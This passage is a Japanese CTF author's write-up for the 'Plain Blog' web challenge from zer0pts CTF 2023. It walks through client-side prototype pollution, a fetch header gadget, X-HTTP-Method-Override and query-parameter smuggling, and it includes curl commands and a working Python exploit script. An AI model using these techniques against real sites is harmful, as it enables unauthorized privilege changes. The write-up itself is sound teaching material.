        return { 'error' => 'no such post' }.to_json
    end

    permission = posts[id]['permission']
    if !permission || !permission['like']
        return { 'error' => 'like is restricted' }.to_json
    end

    token = request.env['HTTP_AUTHORIZATION']
    is_admin = token == ADMIN_KEY

    likes = (params['likes'] || 1).to_i
    if !is_admin && likes != 1
        return { 'error' => 'you can add only one like at one time' }.to_json
    end

    if (posts[id]['like'] + likes) > MAX_LIKES
        return { 'error' => 'too much likes' }.to_json
    end
    posts[id]['like'] += likes

    # get 1,000,000,000,000 likes to capture the flag!
    if posts[id]['like'] >= 1_000_000_000_000
        posts[id]['permission']['flag'] = true
    end
    
    return { 'post' => posts[id] }.to_json
end

このブログのほかの機能を見てみましょう。記事の投稿のほかにも、PUT /api/post/:id というタイトルや本文を編集できるAPIがあります。ここで permission を書き換えればいいのではと思ってしまいますが、ちゃんとチェックが入っています。ただし、このチェックは !is_admin && params['permission'] と、adminであれば permission の書き換えができるということがわかります。CSRFか何かでbotに記事の permission を書き換えさせることができないでしょうか。

put '/api/post/:id' do
    token = request.env['HTTP_AUTHORIZATION']
    is_admin = token == ADMIN_KEY

    id = params['id']
    if !posts.key?(id)
        return { 'error' => 'no such post' }.to_json
    end

    id = params['id']
    if SAMPLE_IDS.include?(id)
        return { 'error' => 'sample post should not be updated' }.to_json
    end

    if !is_admin && params['permission']
        return { 'error' => 'only admin can change the parameter' }.to_json
    end

    if !(params['title'] || params['content'])
        return { 'error' => 'no title and content specified' }.to_json
    end

    posts[id].merge!(params)
    return posts[id].to_json
end

Prototype PollutionとCSRF

CSRFができるような処理がないか、フロントエンドのコードを見てみます。XSSについては、innerHTML 等は使われておらずできそうにありません。記事を表示する際の処理を見てみましょう。ここでは、複数の記事を一度に表示するために、フラグメント識別子で指定された記事IDの一覧について、ひとつずつ fetch で取得しています。

            if (page === 'post' && params.has('id')) {
                const ids = params.get('id').split(',');

                const types = {
                    title: 'string', content: 'string', like: 'number'
                };
                let posts = {}, data, post;
                for (const id of ids) {
                    try {
                        const res = await (await request('GET', `/api/post/${id}`)).json();
                        // ToDo: implement error handling
                        if (res.post) {
                            data = res.post;
                        }

                        // to allow duplicate id but show only once
                        if (!(id in posts)) {
                            posts[id] = {};
                        }
                        post = posts[id];

                        // type check
                        for ([key, value] of Object.entries(data)) {
                            // we don't care the types of properties other than title, content, and like
                            // because we don't use them
                            if (key in types && typeof value !== types[key]) {
                                continue;
                            }

                            post[key] = value;
                        }
                    } catch {}
                }

                content.innerHTML = '';
                for (const [id, post] of Object.entries(posts)) {
                    content.appendChild(await renderPost(id, post, isAdmin ? 1000 : 1));
                }
            }

実はここにPrototype Pollutionが存在しています。「型チェック」として後にレンダリング時に参照される title, content が文字列、like が数値であるかを見ているわけですが、これらのプロパティ以外はそのままチェックもなしに通しています。ここで、もし postObject.prototype ならばどうなるでしょうか。このとき、data に含まれているプロパティがそのまま Object.prototype にセットされ、Prototype Pollutionが起こります。

                        // type check
                        for ([key, value] of Object.entries(data)) {
                            // we don't care the types of properties other than title, content, and like
                            // because we don't use them
                            if (key in types && typeof value !== types[key]) {
                                continue;
                            }

                            post[key] = value;
                        }

では、どうやって postObject.prototype に、data をユーザがコントロールしているコンテンツにできるでしょうか。まず前者について考えていきます。ここで id はフラグメント識別子に含まれる記事IDです。__proto__ にしておけば、posts はオブジェクトなので post には Object.prototype が入ります。

                        // to allow duplicate id but show only once
                        if (!(id in posts)) {
                            posts[id] = {};
                        }
                        post = posts[id];

data はAPIサーバから持ってきた記事の情報です。post というプロパティがそのレスポンスに含まれている場合にのみ、data が置き換えられます。先に通常の記事の情報を取得してから、次に __proto__ というIDの記事の情報を取得するという場合ではどうなるでしょうか。

__proto__ というIDの記事を取得しようとするとき、data にはすでに先に取得した記事の情報が入っています。/api/post/__proto__ というリクエストは、そのようなIDの記事はないので失敗し、post というプロパティを含まないJSONが返ってきます。したがって、res.post はfalsyとなり、data には直前の記事の情報が入ったままになります。

このように、Object.prototype に注入したいプロパティを含んだ記事、それから __proto__ という順番で記事を読み込ませることで、Prototype Pollutionが成立するわけです。

                        const res = await (await request('GET', `/api/post/${id}`)).json();
                        // ToDo: implement error handling
                        if (res.post) {
                            data = res.post;
                        }

Object.prototype に注入したいプロパティを含んだ記事」の作成は容易です。APIサーバの PUT /api/post/:id について、permission というパラメータが含まれているかどうかはチェックされていましたが、それ以外のパラメータはなんでも受け入れるようになっています。

言葉ではわかりにくいので、実際に試してみます。まず、以下のようにして「Object.prototype に注入したいプロパティを含んだ記事」を作成します。

$ # 適当な記事を作成
$ curl 'http://plain-blog.2023.zer0pts.com:8400/api/post' -d title=test -d content=test
{"post":{"id":"0d196657-c0a3-4ba7-a280-223484f9a2b6","title":"test","content":"test","like":0,"permission":{"flag":false,"like":true}}}

$ # Object.prototype.hoge = 'fuga' 相当のことができるように、hogeというプロパティを生やす
$ curl -X PUT 'http://plain-blog.2023.zer0pts.com:8400/api/post/0d196657-c0a3-4ba7-a280-223484f9a2b6' -d title=test -d content=test -d hoge=fuga
{"id":"0d196657-c0a3-4ba7-a280-223484f9a2b6","title":"test","content":"test","like":0,"permission":{"flag":false,"like":true},"hoge":"fuga"}

そして、/#page=post&id=0d196657-c0a3-4ba7-a280-223484f9a2b6,__proto__ にアクセスします。開発者ツールのコンソールを開いて ({}).hoge を実行してみると、fuga という文字列が返ってきました。Prototype Pollutionが成功しました。

でも、このPrototype Pollutionで何をすればよいでしょうか。フロントエンドではサードパーティのライブラリは使われておらず、gadgetがあるようには見えません。

実は、fetch がgadgetとして使えます。いいねボタンを押した際の処理を見てみると、fetchPOST /api/post/(記事のID)/like を叩いていることがわかりますが、たとえば、ここではヘッダの設定が行われていないので、Object.prototype.headers を汚染することで好きなヘッダを送信させることができます。

        function request(method, path, body=null) {
            const options = {
                method,
                mode: 'cors'
            };

            if (body != null) {
                options.body = body;
            }

            const baseUrl = isAdmin ? '<?= API_BASE_URL_FOR_ADMIN ?>' : '<?= API_BASE_URL ?>';
            return fetch(`${baseUrl}${path}`, options);
        }

        async function addPost(title, content) {
            const formData = new FormData();
            formData.append('title', title);
            formData.append('content', content);

            const res = await (await request('POST', '/api/post', formData)).json();
            if (!('post' in res)) {
                // ToDo: implement error handling
                return;
            }

            const post = res.post;
            location.assign(`#page=post&id=${post.id}`);
        }

しかし、我々が叩きたいのは PUT /api/post/:id です。いいねボタンの押下で発生する fetch では、明示的に POST メソッドを使用するようオプションが与えられています。また、APIサーバでも、以下のように Access-Control-Allow-Methods ヘッダに PUT が含まれていないため、そもそもフロントエンドサーバからAPIサーバへのクロスオリジンなリクエストでは PUT メソッドを利用できません。

            'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS' # ToDo: add PUT method after implementing `PUT /api/post/:id` properly

実は、こんなときに X-HTTP-Method-Override ヘッダが使えます。Rackのソースコードを確認すると、このヘッダが与えられている場合に、たとえばその値が PUT であれば、本来は POST メソッドで送られたリクエストであったとしても、それを PUT メソッドで送られたものとして扱うという挙動を示します。

PUT メソッドを送る方法は見つかりましたが、まだどうやって /api/post/:id というパスで fetch させるか、またすでに bodyfetch のオプションで設定されている(Prototype Pollutionで汚染できない)状態で permission というパラメータを送らせるかという問題があります。これは、それぞれPath Traversal的なテクニックと、Sinatraでは params['permission'] はPOSTで送られたパラメータだけでなく、クエリパラメータも参照するという仕様が使えます。

具体的には、(botは最初の記事のいいねボタンを押すため)最初に表示する記事のIDを (存在する記事のID)?title=piyo&permission[flag]=yes& とします。botがいいねボタンを押した際のリクエストの送信先は、/api/post/${id}/like にこのIDが展開されて、/api/post/(存在する記事のID)?title=piyo&permission[flag]=yes&/like となり、後ろにくっついてくる /like を無視させることができるわけです。また、同時に permission[flag]=yes をクエリパラメータとして送信させることもできるわけです。

フラグを得る

ようやくすべてが揃いました。Prototype Pollutionで fetch 時に X-HTTP-Method-Override: PUT が送信されるようにしつつ、記事のいいねボタンが押される際の fetch の送信先を /api/post/(記事のID) にしつつ、またその際にクエリパラメータとして permission[flag]=yes が送信されるようなURLを用意するスクリプトを書きます。

import requests

API_BASE_URL = 'http://localhost:8400'
FRONTEND_BASE_URL = 'http://localhost:8401'

r = requests.post(f'{API_BASE_URL}/api/post', data={
    'title': 'aaa',
    'content': 'aaa'
})
id = r.json()['post']['id']

data = {
    'title': 'bbb',
    'content': 'bbb',
    'headers[X-HTTP-Method-Override]': 'PUT'
}
r = requests.put(f'{API_BASE_URL}/api/post/{id}', data='&'.join(f'{k}={v}' for k, v in data.items()), headers={
    'Content-Type': 'application/x-www-form-urlencoded'
})

payload = f'{id}%3ftitle%3dpiyo%26permission%5bflag%5d%3dyes%26,{id},__proto__,a'
print(f'report {payload}')
print(f'then, access {API_BASE_URL}/api/post/{id}/has_enough_permission_to_get_the_flag')

これを実行して生成されたペイロードを報告し、出力されたURLにアクセスすると、フラグが得られました。

zer0pts{tan_takatatontan_ton_takatatantatotan_8jOQmPx2Mjk}

作問の背景など

first bloodはKAIST GoNでした。おめでとうございます。フラグは「Do It Yourself!! -どぅー・いっと・ゆあせるふ-」です。このフラグにした理由は特にありません。

この問題もコンセプトは特にありません。_methodX-HTTP-Method-Override といったものでメソッドのオーバーライドができると知り、それを問題にできないかなと考えて試行錯誤していたところ、X-HTTP-Method-Override が必要となるシチュエーションとしてCORSを使う(細かくいうと、Access-Control-Allow-MethodsPUT メソッドでのリクエストをできないようにする)という妙なアイデアが浮かび、また X-HTTP-Method-Override が使えるフレームワークとしてSinatraを採用することに決め、結果的にサーバ側とクライアント側の両側のピースを組み合わせてパズルをする問題となったものです。

Neko NoteといいPlain Blogといい、これ知ってますか? というだけの問題になるのは面白くないだろうと思いつつ、前者は「textareaの編集をundoする」というひらめき(とその方法にたどり着くまで調べ続ける根性)があれば、後者も「POSTメソッドしか使えない状況で PUT /api/post/:id を叩かせることはできるだろうか」というひらめき、あるいは知識があれば解けるだろうと考えて出題しました。ただ、もうちょっと知識よりパズルに比重を置いた問題か、Ruby, Rack, Sinatraあたりの仕様をもっと生かした問題にしたかったという気持ちはあります。

最後に

私が作問した問題についての解説は以上です。参加してくださった皆様、そして大会を支援してくださったスポンサーであるOtterSec, Hack The Box, Google, TokyoWesternsの皆様、ありがとうございました。いつも皆さんのwriteupや提出いただいたsurveyを楽しみに作問しており、今回も楽しく拝読しました。zer0pts CTF 2023は終了しましたが、まだsurveyは受け付けていますし、writeupも書いていただけると、とてもとても嬉しいです。では、また(あれば)zer0pts CTF 2024やらなんやらでお会いしましょう。

*1:昨年の大会では1問も出せなかったので、その分張り切りました

*2:TSG CTFでいわれるBeginner問題を思い出された方もいらっしゃるかもしれません。事実、高度な前提知識がなくとも解けるということを意識しつつ作問した節があり、またある程度簡単なものにできたというように考えていましたが、warmupとは難しいものだと思いました。ところで、今年はTSG CTFが開催されると聞いたんですが、本当ですか?

*3:何を期待してこういったツールを回しているのか気になります